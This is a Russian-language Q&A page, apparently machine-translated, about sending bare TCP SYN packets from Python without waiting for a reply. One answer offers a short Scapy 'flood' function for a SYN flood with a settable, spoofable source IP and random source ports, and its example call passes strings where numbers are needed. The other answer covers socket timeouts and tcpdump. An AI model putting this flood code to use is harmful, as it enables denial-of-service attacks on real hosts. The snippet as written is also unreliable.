socket.connect блокирует навсегда. Как просто отправить пакет SYN с LENGHT, не ожидая ответа? - PullRequest
0 голосов
/ 12 апреля 2020

У меня есть такой простой код:

import socket

ip = "myip"
port = myport

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
print("SYN packet sent.")

Если я запустил его, он никогда не достигнет печати, поэтому он никогда не завершит соединение, и это потому, что IP-адрес, к которому я хочу подключиться, не имеет открытого порта .

На самом деле я не хочу завершать соединение, но мне просто нужно отправить запрос SYN. ​​

Кроме того, мне нужно было бы отправлять пакеты с LENGHT. Если я тестирую с помощью hping3 и сниффирую отправленные пакеты syn, я вижу, что полезная нагрузка равна 100 длинам. Как я могу «добавить» эту полезную нагрузку в пакет?

Как я могу это сделать?

Ответы [ 2 ]

1 голос
/ 12 апреля 2020

Из того, что я могу понять, вы получите флуд TCP SYN, и, вероятно, лучше всего это сделать с помощью Scapy Library . Это может быть достигнуто с помощью кода, аналогичного приведенному ниже:

from scapy.all import *

def flood(src_ip, dst_ip, dst_port, amount):
 ip = IP(src=src_ip, dst=dst_ip)
 for i in range(0, amount):
  src_port = random.randint(20, 65000)
  transport = TCP(sport=src_port, dport=dst_port, flags="S")
  send(ip/transport)

if __name__ == '__main__':
 flood('x.x.x.x', 'x.x.x.x', '443', '1000')

Как упоминалось выше, важно отметить, что вы НЕ МОЖЕТЕ отправлять данные в пакете SYN.

0 голосов
/ 12 апреля 2020

Если вы не хотите ждать ответа, вы можете, например, использовать socket.settimeout.

Вот пример установки времени ожидания 5 секунд:

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect((ip, port))
except socket.timeout:
    pass

Другим решением, хотя и более трудным, будет отправка пакета вручную с использованием необработанных сокетов.

Вы можете убедиться, что ваши пакеты действительно отправляются с помощью такого инструмента, как tcpdump:

$ tcpdump 'tcp port 5005'
...